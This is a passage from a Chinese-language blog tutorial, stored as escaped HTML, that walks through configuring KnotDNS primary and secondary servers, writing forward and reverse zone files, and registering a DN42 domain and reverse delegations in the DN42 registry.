&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我使用的是Debian12系统，因此使用APT安装：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt install knot knot-dnsutils -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置KnotDNS自启动：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl enable knot
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;配置KnotDNS&lt;/h1&gt;
&lt;h2&gt;创建key&lt;/h2&gt;
&lt;p&gt;首先创建一个key用于同步：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;keymgr -t key_knsupdate
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将输出部分复制下来：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# hmac-sha256:key_knsupdate:&amp;lt;your secret&amp;gt;
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: &amp;lt;your secret&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;编辑配置文件&lt;/h2&gt;
&lt;h3&gt;主服务器&lt;/h3&gt;
&lt;p&gt;编辑&lt;code&gt;/etc/knot/knot.conf&lt;/code&gt;，填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server:
    rundir: &quot;/run/knot&quot;
    user: knot:knot
    automatic-acl: on
    listen: [ &amp;lt;监听地址1&amp;gt;@53, &amp;lt;监听地址2&amp;gt;@53, ... ]

log:
  - target: syslog
    any: info

database:
    storage: &quot;/var/lib/knot&quot;

### 此处粘贴上一步生成的Key
# hmac-sha256:key_knsupdate:&amp;lt;your secret&amp;gt;
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: &amp;lt;your secret&amp;gt;

remote:
  - id: &amp;lt;1号DNS服务器ID&amp;gt;
    address: &amp;lt;1号DNS服务器IP&amp;gt;@53

  - id: &amp;lt;2号DNS服务器ID&amp;gt;
    address: &amp;lt;2号DNS服务器IP&amp;gt;@53

  - id: &amp;lt;3号DNS服务器ID&amp;gt;
    address: &amp;lt;3号DNS服务器IP&amp;gt;@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: &quot;/var/lib/knot&quot;
    file: &quot;%s.zone&quot;

zone:
  - domain: &amp;lt;DN42 域名&amp;gt;
    notify: [ &amp;lt;从服务器1ID&amp;gt;, &amp;lt;从服务器2ID&amp;gt; ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: &amp;lt;IPv4反向解析域名&amp;gt;
    notify: [ &amp;lt;从服务器1ID&amp;gt;, &amp;lt;从服务器2ID&amp;gt; ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: &amp;lt;IPv6反向解析域名&amp;gt;
    notify: [ &amp;lt;从服务器1ID&amp;gt;, &amp;lt;从服务器2ID&amp;gt; ]
    acl: [ acl_slave, acl_knsupdate ]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;其中，监听地址需要填写本机的DN42 IPv4和DN42 IPv6，如果需要本地调试可再加上&lt;code&gt;127.0.0.1&lt;/code&gt;和&lt;code&gt;localhost&lt;/code&gt;等内网IP&lt;/li&gt;
&lt;li&gt;从服务器ID即&lt;code&gt;remote&lt;/code&gt;里设置的服务器的ID，你选定哪台（哪些）机器作为从服务器就填写哪台（哪些）服务器的ID&lt;/li&gt;
&lt;li&gt;&lt;code&gt;remote&lt;/code&gt;中的&lt;code&gt;address&lt;/code&gt;可以填写内网地址或者DN42 IPv4或者DN42 IPv6，仅用于同步主从服务器。如果使用内网地址请将地址加到监听列表中&lt;/li&gt;
&lt;li&gt;&lt;code&gt;template&lt;/code&gt;中设置了将Zone文件存储在&lt;code&gt;/var/lib/knot&lt;/code&gt;下&lt;/li&gt;
&lt;li&gt;IPv4反向解析域名按照你申请的IPv4段填写，遵循&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc2317&quot;&gt;RFC 2317&lt;/a&gt;规定的格式，如我的IPv4段是&lt;code&gt;172.20.234.224/28&lt;/code&gt;，我的IPv4反向解析域名应该为&lt;code&gt;224/28.234.20.172.in-addr.arpa&lt;/code&gt;，即将IPv4的最后一段&lt;code&gt;225/28&lt;/code&gt;看作一个整体，剩下的按照点来分隔，再将各个部分倒序拼接，最后加上&lt;code&gt;.in-addr.arpa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IPv6反向解析域名按照你申请的IPv6段填写，遵循&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc3152&quot;&gt;RFC 3152&lt;/a&gt;规定的格式，如我的IPv6段是&lt;code&gt;fd18:3e15:61d0::/48&lt;/code&gt;，我的IPv6反向解析域名应该为&lt;code&gt;0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa&lt;/code&gt;，即将地址块中的各个字符倒序拼接，最后加上&lt;code&gt;.ip6.arpa&lt;/code&gt;。如果有0需要补全。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server:
    rundir: &quot;/run/knot&quot;
    user: knot:knot
    automatic-acl: on
    listen: [ 172.20.234.225@53, fd18:3e15:61d0::1@53, localhost@53, 127.0.0.1@53 ]

log:
  - target: syslog
    any: info

database:
    storage: &quot;/var/lib/knot&quot;

# hmac-sha256:key_knsupdate:&amp;lt;key&amp;gt;
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: &amp;lt;key&amp;gt;

remote:
  - id: 225 # 主服务器
    address: 172.20.234.225@53

  - id: 227 # 从服务器
    address: 172.20.234.227@53

  - id: 229 # 从服务器
    address: 172.20.234.229@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: &quot;/var/lib/knot&quot;
    file: &quot;%s.zone&quot;

zone:
  - domain: yori.dn42
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: 224/28.234.20.172.in-addr.arpa
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
  - domain: 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa
    notify: [ 227, 229 ]
    acl: [ acl_slave, acl_knsupdate ]
#    # Secondary zone
#  - domain: example.net
#    master: primary
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;从服务器&lt;/h3&gt;
&lt;p&gt;从服务器的大致内容和主服务器相同，只需要将监听地址改成从服务器的地址，并且将zone部分配置修改一下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--- a/knot.conf
+++ b/knot.conf
 zone:
   - domain: &amp;lt;DN42 域名&amp;gt;
-    notify: [ &amp;lt;从服务器1ID&amp;gt;, &amp;lt;从服务器2ID&amp;gt; ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: &amp;lt;主服务器ID&amp;gt;
+    zonefile-load: whole
+    acl: acl_master
   - domain: &amp;lt;IPv4反向解析域名&amp;gt;
-    notify: [ &amp;lt;从服务器1ID&amp;gt;, &amp;lt;从服务器2ID&amp;gt; ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: &amp;lt;主服务器ID&amp;gt;
+    zonefile-load: whole
+    acl: acl_master
   - domain: &amp;lt;IPv6反向解析域名&amp;gt;
-    notify: [ &amp;lt;从服务器1ID&amp;gt;, &amp;lt;从服务器2ID&amp;gt; ]
-    acl: [ acl_slave, acl_knsupdate ]
+    master: &amp;lt;主服务器ID&amp;gt;
+    zonefile-load: whole
+    acl: acl_master
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;主服务器ID即&lt;code&gt;remote&lt;/code&gt;里设置的服务器的ID，你选定哪台机器作为主服务器就填写哪台服务器的ID&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server:
    rundir: &quot;/run/knot&quot;
    user: knot:knot
    automatic-acl: on
    listen: [ 172.20.234.227@53, fd18:3e15:61d0::3@53, localhost@53, 127.0.0.1@53 ]

log:
  - target: syslog
    any: info

database:
    storage: &quot;/var/lib/knot&quot;

# hmac-sha256:key_knsupdate:&amp;lt;key&amp;gt;
key:
  - id: key_knsupdate
    algorithm: hmac-sha256
    secret: &amp;lt;key&amp;gt;

remote:
  - id: 225
    address: 172.20.234.225@53

  - id: 227
    address: 172.20.234.227@53

  - id: 229
    address: 172.20.234.229@53

acl:
  - id: acl_slave
    key: key_knsupdate
    action: transfer
 
  - id: acl_master
    key: key_knsupdate
    action: notify
 
  - id: acl_knsupdate
    key: key_knsupdate
    action: update

template:
  - id: default
    storage: &quot;/var/lib/knot&quot;
    file: &quot;%s.zone&quot;

zone:
  - domain: yori.dn42
    master: 225
    zonefile-load: whole
    acl: acl_master
  - domain: 224/28.234.20.172.in-addr.arpa
    master: 225
    zonefile-load: whole
    acl: acl_master
  - domain: 0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa
    master: 225
    zonefile-load: whole
    acl: acl_master
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编写完配置文件后运行如下指令重启KnotDNS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;systemctl restart knot
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;编辑Zone区域文件&lt;/h2&gt;
&lt;p&gt;此章节中的记录值（非主机名）若需要填写域名，除了特殊说明外，都请遵循&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc1034&quot;&gt;RFC 1034&lt;/a&gt;规范填写FQDN格式。此章节中的所有配置均在主DNS服务器上完成&lt;/p&gt;
&lt;h4&gt;DN42域名&lt;/h4&gt;
&lt;p&gt;进入&lt;code&gt;/var/lib/knot&lt;/code&gt;，创建文件&lt;code&gt;&amp;lt;dn42域名&amp;gt;.zone&lt;/code&gt;&lt;/p&gt;
&lt;h5&gt;SOA记录&lt;/h5&gt;
&lt;p&gt;域名的第一条记录必须为SOA记录，SOA记录是&lt;strong&gt;起始授权记录&lt;/strong&gt;，记录了域名的一些基本信息如主要NS服务器地址。填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@ &amp;lt;TTL&amp;gt; SOA &amp;lt;主要NS服务器地址&amp;gt; &amp;lt;联系人邮件&amp;gt; &amp;lt;记录编号&amp;gt; &amp;lt;AXFR刷新时间&amp;gt; &amp;lt;AXFR重试时间&amp;gt; &amp;lt;AXFR过期时间&amp;gt; &amp;lt;最小TTL&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@&lt;/code&gt;表示是当前域名本身，不用修改&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTL&lt;/strong&gt;: 当前SOA记录的TTL值&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主要NS服务器地址&lt;/strong&gt;: 当前域名的主要权威NS服务器地址，可以是域名内的解析值，如我的主要NS服务器是&lt;code&gt;172.20.234.225&lt;/code&gt;，我打算使用&lt;code&gt;ns1.yori.dn42.&lt;/code&gt;指向此地址，那么此处可填写&lt;code&gt;ns1.yori.dn42.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;联系人邮件&lt;/strong&gt;: 邮箱地址，并且用&lt;code&gt;.&lt;/code&gt;代替&lt;code&gt;@&lt;/code&gt;，如我的邮箱是&lt;code&gt;i@iyoroy.cn&lt;/code&gt;，那么此处可填写&lt;code&gt;i.iyoroy.cn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;记录编号&lt;/strong&gt;: 一个10位数字，遵循&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc1912#section-2.2&quot;&gt;RFC 1912&lt;/a&gt;，表示Zone文件的版本号。其他DNS服务器在获取SOA后发现序列号增加了就会重新拉取新的记录。一般使用日期+编号的方式编码，因此&lt;strong&gt;此项值应该在每次修改后递增&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AXFR刷新时间&lt;/strong&gt;: AXFR从服务器两次拉取的间隔&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AXFR重试时间&lt;/strong&gt;: AXFR从服务器拉取失败后重试时间&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AXFR过期时间&lt;/strong&gt;: AXFR从服务器拉取失败后，最多用先前最后一次拉取成功的记录继续提供服务这么长时间，之后停止应答&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小TTL&lt;/strong&gt;: 当前整个域名的最小TTL值，所有记录的最小刷新时间，至少过了这么长时间才会刷新&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072705 60 60 1800 60
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;NS记录&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS服务器1&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS服务器2&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS服务器3&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据你的实际情况填写，有几台服务器就填写几条记录。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;A、AAAA、CNAME等记录&lt;/h5&gt;
&lt;p&gt;按照如下格式填写即可：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;主机名&amp;gt; &amp;lt;TTL&amp;gt; &amp;lt;类型&amp;gt; &amp;lt;记录值&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你的NS服务器值指向了你自己的DN42域名的主机，请务必为其添加A类型或者AAAA类型的解析记录&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; A
ns1 600 A 172.20.234.225
ns2 600 A 172.20.234.227
ns3 600 A 172.20.234.229
hkg-cn.node 600 A 172.20.234.225
nkg-cn.node 600 A 172.20.234.226
tyo-jp.node 600 A 172.20.234.227
hfe-cn.node 600 A 172.20.234.228
lax-us.node 600 A 172.20.234.229

; AAAA
ns1 600 AAAA fd18:3e15:61d0::1
ns2 600 AAAA fd18:3e15:61d0::3
ns3 600 AAAA fd18:3e15:61d0::5
hkg-cn.node 600 AAAA fd18:3e15:61d0::1
nkg-cn.node 600 AAAA fd18:3e15:61d0::2
tyo-jp.node 600 AAAA fd18:3e15:61d0::3
hfe-cn.node 600 AAAA fd18:3e15:61d0::4
lax-us.node 600 AAAA fd18:3e15:61d0::5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;完整样例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/var/lib/knot/yori.dn42.zone&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072705 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

; A
ns1 600 A 172.20.234.225
ns2 600 A 172.20.234.227
ns3 600 A 172.20.234.229
hkg-cn.node 600 A 172.20.234.225
nkg-cn.node 600 A 172.20.234.226
tyo-jp.node 600 A 172.20.234.227
hfe-cn.node 600 A 172.20.234.228
lax-us.node 600 A 172.20.234.229

; AAAA
ns1 600 AAAA fd18:3e15:61d0::1
ns2 600 AAAA fd18:3e15:61d0::3
ns3 600 AAAA fd18:3e15:61d0::5
hkg-cn.node 600 AAAA fd18:3e15:61d0::1
nkg-cn.node 600 AAAA fd18:3e15:61d0::2
tyo-jp.node 600 AAAA fd18:3e15:61d0::3
hfe-cn.node 600 AAAA fd18:3e15:61d0::4
lax-us.node 600 AAAA fd18:3e15:61d0::5
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;IPv4反向解析域名&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;/var/lib/knot&lt;/code&gt;下创建文件&lt;code&gt;&amp;lt;IPv4反向解析域名&amp;gt;.in-addr.arpa&lt;/code&gt;，并用&lt;code&gt;_&lt;/code&gt;代替&lt;code&gt;/&lt;/code&gt;。如我的IPv4段是&lt;code&gt;172.20.234.224/28&lt;/code&gt;，我的IPv4反向解析域名是&lt;code&gt;224/28.234.20.172.in-addr.arpa&lt;/code&gt;，那么此处文件名为&lt;code&gt;224_28.234.20.172.in-addr.arpa.zone&lt;/code&gt;。填入解析记录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ &amp;lt;TTL&amp;gt; SOA &amp;lt;主要NS服务器地址&amp;gt; &amp;lt;联系人邮件&amp;gt; &amp;lt;记录编号&amp;gt; &amp;lt;AXFR刷新时间&amp;gt; &amp;lt;AXFR重试时间&amp;gt; &amp;lt;AXFR过期时间&amp;gt; &amp;lt;最小TTL&amp;gt;

; NS
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS服务器1&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS服务器2&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS服务器3&amp;gt;
 
; PTR
&amp;lt;IPv4地址最后一位&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;反向解析DNS值&amp;gt;
&amp;lt;IPv4地址最后一位&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;反向解析DNS值&amp;gt;
&amp;lt;IPv4地址最后一位&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;反向解析DNS值&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;SOA和NS记录和上方相同&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IPv4地址最后一位&lt;/strong&gt;: 你给设备绑定的DN42 IPv4地址四段中的最后一段，如我的HK节点分配的&lt;code&gt;172.20.234.225&lt;/code&gt;地址，那么此处就填写`225&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;224_28.234.20.172.in-addr.arpa.zone&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072802 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.
 
; PTR
225 600 PTR hkg-cn.node.yori.dn42.
226 600 PTR nkg-cn.node.yori.dn42.
227 600 PTR tyo-jp.node.yori.dn42.
228 600 PTR hfe-cn.node.yori.dn42.
229 600 PTR lax-us.node.yori.dn42.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你可能会疑惑为何需要带上CIDR掩码，这与Clearnet中常见的、按八位组倒序的格式（如&lt;code&gt;234.20.172.in-addr.arpa&lt;/code&gt;）不同；以及如果你尝试本地测试，你会发现直接测试你自己的IP地址的反解会失败。&lt;/p&gt;
&lt;p&gt;原因在于DN42的分布式注册机制：单个区域文件无法覆盖你的地址段的所有反向查询入口点（即每个具体IP地址对应的&lt;code&gt;.in-addr.arpa&lt;/code&gt;名称）。为了解决这个问题，DN42官方DNS会在你的PR被合并后，在其权威DNS服务器上为你的地址段添加CNAME重定向，将单个IP的PTR记录指向你的带CIDR的格式，如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~$ dig PTR 225.234.20.172.in-addr.arpa  +short
225.224/28.234.20.172.in-addr.arpa.  # &amp;lt;-- Registry 添加的 CNAME (重定向)
hkg-cn.node.yori.dn42.               # &amp;lt;-- DNS 返回的最终 PTR 记录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当外部解析器查询某个具体IP (如&lt;code&gt;172.20.234.225&lt;/code&gt;) 的反向记录时（查询&lt;code&gt;225.234.20.172.in-addr.arpa&lt;/code&gt;），官方DNS会返回一个&lt;code&gt;CNAME&lt;/code&gt;记录，将其指向CIDR的区域名称下的具体记录（&lt;code&gt;225.224/28.234.20.172.in-addr.arpa&lt;/code&gt;）。最终，PTR 记录由你配置的权威 DNS 服务器提供。&lt;/p&gt;
&lt;h4&gt;IPv6反向解析域名&lt;/h4&gt;
&lt;p&gt;在&lt;code&gt;/var/lib/knot&lt;/code&gt;下创建文件&lt;code&gt;&amp;lt;IPv6反向解析域名&amp;gt;.ip6.arpa&lt;/code&gt;。如我的IPv6段是&lt;code&gt;fd18:3e15:61d0::/48&lt;/code&gt;，我的IPv6反向解析域名是&lt;code&gt;0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa&lt;/code&gt;，那么此处文件名为&lt;code&gt;0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa.zone&lt;/code&gt;。填入解析记录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ &amp;lt;TTL&amp;gt; SOA &amp;lt;主要NS服务器地址&amp;gt; &amp;lt;联系人邮件&amp;gt; &amp;lt;记录编号&amp;gt; &amp;lt;AXFR刷新时间&amp;gt; &amp;lt;AXFR重试时间&amp;gt; &amp;lt;AXFR过期时间&amp;gt; &amp;lt;最小TTL&amp;gt;

; NS
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS服务器1&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS服务器2&amp;gt;
@ &amp;lt;TTL&amp;gt; NS &amp;lt;NS服务器3&amp;gt;

; PTR
&amp;lt;最后20字符反向序列&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;反向解析DNS值&amp;gt;
&amp;lt;最后20字符反向序列&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;反向解析DNS值&amp;gt;
&amp;lt;最后20字符反向序列&amp;gt; &amp;lt;TTL&amp;gt; PTR &amp;lt;反向解析DNS值&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;SOA和NS记录处理方式同上&lt;/li&gt;
&lt;li&gt;PTR的主机名，需要你&lt;strong&gt;将主机IPv6地址移除/48前缀后的80位部分展开为20个十六进制字符&lt;/strong&gt;，并&lt;strong&gt;倒序排列这些字符并用点分隔&lt;/strong&gt;。如我的香港节点IPv6是&lt;code&gt;fd18:3e15:61d0::1&lt;/code&gt;，展开就是&lt;code&gt;fd18:3e15:61d0:0000:0000:0000:0000:0001&lt;/code&gt;，此处主机名就填写&lt;code&gt;1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0.d.1.6.5.1.e.3.8.1.d.f.ip6.arpa.zone&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; SOA
@ 3600 SOA ns1.yori.dn42. i.iyoroy.cn. 2025072802 60 60 1800 60

; NS
@ 3600 NS ns1.yori.dn42.
@ 3600 NS ns2.yori.dn42.
@ 3600 NS ns3.yori.dn42.

; PTR
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR hkg-cn.node.yori.dn42.
2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR nkg-cn.node.yori.dn42.
3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR tyo-jp.node.yori.dn42.
4.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR hfe-cn.node.yori.dn42.
5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0 600 PTR lax-us.node.yori.dn42.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;验证设置&lt;/h2&gt;
&lt;p&gt;全部保存后在每台DNS服务器上都运行一次&lt;code&gt;knot reload&lt;/code&gt;重载，不出意外的话应该能看到从服务器同步了主服务器的zone文件，此时通过&lt;code&gt;dig&lt;/code&gt;或者&lt;code&gt;nslookup&lt;/code&gt;指定服务器查询应该能查到解析记录了&lt;/p&gt;
&lt;h1&gt;注册&lt;/h1&gt;
&lt;h2&gt;域名&lt;/h2&gt;
&lt;p&gt;克隆下DN42 Registry，进入&lt;code&gt;data/dns&lt;/code&gt;，新建文件&lt;code&gt;&amp;lt;你打算注册的域名&amp;gt;&lt;/code&gt;，填入如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;domain:             &amp;lt;你打算注册的域名&amp;gt;
admin-c:            &amp;lt;管理员NIC句柄&amp;gt;
tech-c:             &amp;lt;技术人员NIC句柄&amp;gt;
mnt-by:             &amp;lt;维护者&amp;gt;
nserver:            &amp;lt;NS1服务器域名&amp;gt; &amp;lt;NS1服务器IP&amp;gt;
nserver:            &amp;lt;NS2服务器域名&amp;gt; &amp;lt;NS2服务器IP&amp;gt;
nserver:            &amp;lt;NS3服务器域名&amp;gt; &amp;lt;NS3服务器IP&amp;gt;
...
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;admin-c&lt;/code&gt;、&lt;code&gt;tech-c&lt;/code&gt;、&lt;code&gt;mnt-by&lt;/code&gt;请参考&lt;a href=&quot;https://www.iyoroy.cn/archives/84/&quot;&gt;DN42探究日记 - Ep.1 加入DN42网络&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;data/dns/yori.dn42&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;domain:             yori.dn42
admin-c:            IYOROY-DN42
tech-c:             IYOROY-DN42
mnt-by:             IYOROY-MNT
nserver:            ns1.yori.dn42 172.20.234.225
nserver:            ns1.yori.dn42 fd18:3e15:61d0::1
nserver:            ns2.yori.dn42 172.20.234.227
nserver:            ns2.yori.dn42 fd18:3e15:61d0::3
nserver:            ns3.yori.dn42 172.20.234.229
nserver:            ns3.yori.dn42 fd18:3e15:61d0::5
source:             DN42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;IPv4反向解析域名&lt;/h2&gt;
&lt;p&gt;进入&lt;code&gt;data/inetnum&lt;/code&gt;，找到你注册的地址块，加nserver字段，填写为你自己的DNS服务器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nserver:            &amp;lt;你的DNS服务器地址&amp;gt;
nserver:            &amp;lt;你的DNS服务器地址&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/data/inetnum/172.20.234.224_28 b/data/inetnum/172.20.234.224_28
index 50c800945..5ad60e23d 100644
--- a/data/inetnum/172.20.234.224_28
+++ b/data/inetnum/172.20.234.224_28
@@ -8,3 +8,6 @@ tech-c:             IYOROY-DN42
 mnt-by:             IYOROY-MNT
 status:             ASSIGNED
 source:             DN42
+nserver:            ns1.yori.dn42
+nserver:            ns2.yori.dn42
+nserver:            ns3.yori.dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;IPv6反向解析域名&lt;/h2&gt;
&lt;p&gt;进入&lt;code&gt;data/inet6num&lt;/code&gt;，找到你注册的地址块，加nserver字段，填写为你自己的DNS服务器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nserver:            &amp;lt;你的DNS服务器地址&amp;gt;
nserver:            &amp;lt;你的DNS服务器地址&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;样例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/data/inet6num/fd18:3e15:61d0::_48 b/data/inet6num/fd18:3e15:61d0::_48
index 53f0de06d..1ae067b00 100644
--- a/data/inet6num/fd18:3e15:61d0::_48
+++ b/data/inet6num/fd18:3e15:61d0::_48
@@ -8,3 +8,6 @@ tech-c:             IYOROY-DN42
 mnt-by:             IYOROY-MNT
 status:             ASSIGNED
 source:             DN42
+nserver:            ns1.yori.dn42
+nserver:            ns2.yori.dn42
+nserver:            ns3.yori.dn42
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提交PR，等待合并&lt;/h2&gt;
&lt;p&gt;填写完后推送并提交Pull Request。因为DN42中人人都可以建立递归DNS，DNS配置完全生效可能要一周左右。虽然我实测合并后半天以内公共DNS（172.20.0.53）就已经能查询到我的记录了&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;特别感谢たのしい大佬，让我明白了DN42中IPv4反向解析与公网的不同之处
参考文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;https://www.haiyun.me/archives/1398.html&lt;/li&gt;
&lt;li&gt;https://www.jianshu.com/p/7d69ec2976c7&lt;/li&gt;
&lt;li&gt;https://www.potat0.cc/posts/20220726/Register_DN42_Domain/&lt;/li&gt;
&lt;li&gt;https://bbs.csdn.net/topics/393775423&lt;/li&gt;
&lt;li&gt;https://blog.snorlax.blue/knot-reverse-dns-kickstart/&lt;/li&gt;
